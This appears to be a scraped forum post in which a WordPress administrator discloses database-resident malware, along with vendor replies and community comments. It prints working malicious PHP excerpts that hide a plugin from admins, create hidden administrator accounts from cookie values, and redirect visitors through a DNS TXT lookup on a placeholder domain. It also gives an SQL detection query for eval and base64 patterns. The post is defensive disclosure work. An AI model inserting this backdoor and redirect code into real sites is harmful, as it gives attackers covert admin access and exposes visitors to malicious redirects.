New Malware Found in WordPress Installations: Hidden Admin Users, Redirects, and Plugin Hiding (Not Detected by 14 Major Scanners)

[ad_1]

Hey everyone,

I’ve come across a new type of malware that has infected several of our WordPress installations, and what’s concerning is that none of the security scanners we used, including Wordfence, GOTMLS.NET, and about 12 others, were able to detect it. We tried all major tools, but none flagged this threat. It’s well hidden in the database, specifically in entries such as wpcode_snippets, siteurl, home, and redirection_options, and it uses advanced techniques to hide from both admins and security plugins.
The websites were compromised due to a weak password, not because of any security vulnerabilities in the plugins. They were all development websites under a test subdomain without indexing.

Here are some of the scanners we used that failed to detect the malware:

  • Wordfence
  • Sucuri SiteCheck
  • MalCare
  • iThemes Security
  • All In One WP Security & Firewall
  • WPScan
  • Anti-Malware Security (by Eli/GOTMLS.NET)
  • SecuPress
  • Quttera Web Malware Scanner
  • Exploit Scanner
  • WPCore Scan
  • WP Cerber Security
  • ClamAV

Despite using this wide range of scanners, none were able to identify the malicious code injected into the database. I’m sharing this here to alert the community and to see if anyone has encountered a similar issue or has insights on how to combat it.

Admin Panel Hijacking:

  • The malware modifies the admin interface by hiding specific security-related plugins (like "Code Snippets") and preventing the admin from reviewing compromised plugins and critical notifications.
  • Here’s a code snippet used to hide plugins:

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {

add_action('admin_print_scripts', function () {

echo '<style>';

echo '#toplevel_page_wpcode { display: none; }';

echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';

echo '#wpcode-notice-global-review_request { display: none; }';

echo '</style>';

});

add_filter('all_plugins', function ($plugins) {

unset($plugins['insert-headers-and-footers/ihaf.php']);

return $plugins;

});

}

Creation of Hidden Admin Users:

  • The malware reads cookie data to insert admin credentials into the database and creates hidden admin users, unknown to the actual site owner.
  • Here's an example of the code that creates hidden admin users:

if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

switch (_gcookie('c')) {

case 'au':

$u = _gcookie('u');

$p = _gcookie('p');

$e = _gcookie('e');

if ($u && $p && $e && !username_exists($u)) {

$user_id = wp_create_user($u, $p, $e);

$user = new WP_User($user_id);

$user->set_role('administrator');

}

break;

}

}

Redirection of Non-Logged-In Users:

  • Non-logged-in users or visitors with certain IP addresses are redirected to malicious external URLs using DNS records.
  • Here’s the redirect code

function _red() {

if (is_user_logged_in()) {

return;

}

$ip = _user_ip();

if (!$ip) {

return;

}

$req = 'malicious-domain.com'; // Example of malicious domain being resolved

$s = dns_get_record($req, DNS_TXT);

if (is_array($s) && !empty($s)) {

$redirect_url = base64_decode($s[0]['txt']);

if (substr($redirect_url, 0, 4) === 'http') {

wp_redirect($redirect_url);

exit;

}

}

}

IP and Session Tracking:

  • The malware tracks IP addresses to avoid redirecting the same IP multiple times in a 24-hour period.

How We Found It:

The malware was hidden in the wp_options table, affecting entries like wpcode_snippets, siteurl, home, and redirection_options. It wasn’t detected by popular security plugins, including Wordfence.

We ran the following SQL query across all installations to identify suspicious patterns:

SELECT option_name, option_value

FROM wp_options

WHERE option_name IN ('siteurl', 'home', 'wpcode_snippets', 'wpseo', 'redirection_options')

AND (option_value LIKE '%<script%'

OR option_value LIKE '%eval%'

OR option_value LIKE '%base64_decode%'

OR option_value LIKE '%document.write%');

Observed Effects:

  • Non-logged-in users or visitors from unknown IPs are redirected to malicious sites.
  • Hidden admin users are created without the site owner’s knowledge.
  • Security plugins and important notifications are hidden from the admin panel.

What You Should Know:

  • This malware injects itself into database options like wpcode_snippets and siteurl, making it hard to detect via traditional scans.
  • The existing WordPress security plugins (including Wordfence) did not detect this malware.

What Can Be Done:

If you manage WordPress sites, I highly recommend checking your wp_options table for any suspicious values using the SQL query above. If anyone from the WordPress security community or plugin developers has encountered similar issues, I would love to collaborate on identifying how this malware propagates and how we can stop it.

Feel free to reach out if you need more details or want to review the code in depth. I've attached the full script of the malicious code I found on injected as value the DB under a wpcode_snippets inside the wp_option table.

Be aware, the code contained in the file below is a malware, please do not install or copy this code in your eviroment for any reason.

Malware Script sample

Update 1:
I’ve written a script that temporarily helps to identify suspicious database entries related to this malware across multiple WordPress installations. The script scans through the directories where your WordPress installations are located, checks the wp-config.php file for database credentials, and then searches the database for signs of malicious code, particularly in the wp_options table.

How to Use the Scanner.php Script:

  1. Download the script: You can download the script from the link I’ve shared, or you can copy the code below.
  2. 2. Upload the script:
    • Place the script (called scanner.php) in the root folder where your WordPress installations are located, for example: /home/youruser/public_html/.
  3. 3. Run the script:
    • SSH into your server and run the script with the following command

php /path/to/scanner.php

  • The script will log any suspicious entries found in the wp_options table of the database, printing details about the suspicious option_name and the first 300 characters of its option_value.
  • This script is a SCANNER, it will not clean your database nor remove the malware, it just tell you if and where is nested the malware.
  • If the results are suspicious, check the tables listed by the scanner, and remove malicious script, if it's the case, just delete the entire database entry that embedded the malware script.
  • 4. Don’t forget to reset all your credentials to ensure there are no compromised accounts:
  • This includes:
  • WordPress admin passwords.
  • Database credentials (DB username and password).
  • FTP or SFTP credentials.
  • Hosting control panel passwords.
  • API keys or any third-party integration credentials.

  • 4. Remove the script after use:

    • Once the scan is complete, make sure to delete the scanner.php file from your public folder to avoid exposing it to potential attackers.

This is a temporary solution that should help you identify any infections while we wait for this malware to be incorporated into the official security tools.

Scanner file (php)

Stay safe, and thanks for your attention!

Update 2:

Eli from GOTMLS.NET and Julios from SECUPRESS.ME replied:

Full conversation here:
https://wordpress.org/support/topic/new-malware-found-in-wordpress-installations-hidden-admin-users-redirects-and/#post-18010647

TL:DR

I’ve received some helpful feedback from the developers behind SecuPress and GOTMLS regarding this malware:

  • Julio from SecuPress: SecuPress is aware of this type of malware and has been working on improving their defenses. They’ve already developed methods to prevent hidden admin users from being inserted, whether via wp_insert_user(), custom $wpdb queries, or direct database injections. They’ve also found a way to always display hidden plugins on the admin plugins page and improved their MalwareDB Scanner to detect this type of malicious code. In the upcoming beta release (expected this month), these improvements will be implemented, and Julio has kindly offered for me to test this version early. Additionally, they’ve flagged the custom-css-js CPT slug as another potential location for injected redirect scripts.
  • Eli from GOTMLS: Eli mentioned that he has seen similar threats where the WPCode Lite plugin is installed, and malicious code snippets are injected into the database to hide from the WordPress admin area. He confirmed that different sites were compromised using a mix of brute force attacks and unpatched plugin vulnerabilities. Eli also confirmed that this malware variant was added to his GOTMLS definitions on the 7th of last month, but he’s unsure why it wasn’t detected on my site, despite having the latest definitions. He has asked for me to send him the exact code found in my database for further investigation.

[ad_2]
26 Comments
  1. I highly recommend contacting Eli, the developer of [GOTMLS.NET](http://GOTMLS.NET). He responded to me when I had a persistent malware issue that was evading scanners (ended up being a rogue PHP process still running days later, reinstalling it). He was really helpful and it sounds like he’d be interested in what you’ve found.

  2. I would be really curious to know if Imunify360 or Blogvault’s anti-malware would pick this up. Would you be willing to provide me a stripped down copy of the site to test? You can remove any user data, payment gateways, etc.

  3. They’ve not used code obfuscation or modified the core WordPress files, which is all most scanners look at.

    I’m honestly not really sure how scanners can detect this without overloading users with false positives. Perhaps they could do more to highlight things that look sus (code that is used to add users) or stricter practices (password policies, not allow plugin uploads). However there are literally 1000s of legit plugins that hook into the admin to add/remove bits.

  4. I’m still learning to code, so this information is new to me. I am not yet to using PHP, SQL, nor WordPress. I appreciate this post! This enforces me to learning the fundamentals of code, and to pay attention to detail. Thank you!

  5. I’m surprised that the scanners don’t highlight base64 encoded data.

    I can never think of a case where encoding anything in base64 would be required or desirable.

  6. Please report to Wordfence. They give rewards for calling out malicious code and Malware + will send to their customer community. And THANK YOU for sharing this info!!!

  7. Immunify360 scanning seems to have picked it up. I just woke up to a bunch of notifications from my apps at Cloudways and came to Reddit to see what was going on.

  8. Thank you, this is going to be really helpful.

    I’ve been fighting with a malware, which is infecting my WP websites for many months now.

    So far I wa not able to identify where it’s getting installed. However, the start of infection was from Coming Soon by SeedProd plugin vulnerability months ago. Few of my websites used that plugin.

    I have never installed any nulled themes or plugins. All or either free versions or bought from themeforest.

    I will try your script and also search the tables as you pointed out, will share results here.

  9. So what are our options to prevent this malware?

    * Simple 2fa (by email)?
    * Enforcing passwords?
    * Hide wp login url?

  10. Could you show the weak password that was compromised to have an idea of the “weakness” level?
    Using invented similar words of course but keeping same complexity…

  11. Using Eval and base 64 decode in a db table isn’t enough to flag as possible malware in ALL of those plugins?! lol 😆

  12. Not having read through all of the comments, to confirm if this has been pointed out, but I think the biggest problem here is that I see that `wpcode_snippets` was mentioned, which means that the WPCode plugin was installed. IMO this should never be installed on WordPress sites for exactly this sort of reason. That plugin is essentially designed to inject code and bypass most of the sanitization checks present in WordPress.

  13. Do you run mission critical applications ? It is not every day , we run into somone who will go through using 11 scanners. If you are interested in securing WordPress, and using Apache, I can send you a link to a guide where you will lock down your site where not even the NSA can get in.

  14. I also had a vulnerability several months ago, where someone created an auto login to WordPress. At the time, I was only using 4 paid plugins. For the life of me, I never figured out how they got in, so the only thing to do was to nuke the WordPress install and start over.

  15. This WPCode plugin has been a real issue for me. I’ve discovered & repaired 3 of my clients’ websites with this scenario.

 

This site will teach you how to build a WordPress website for beginners. We will cover everything from installing WordPress to adding pages, posts, and images to your site. You will learn how to customize your site with themes and plugins, as well as how to market your site online.

Buy WordPress Transfer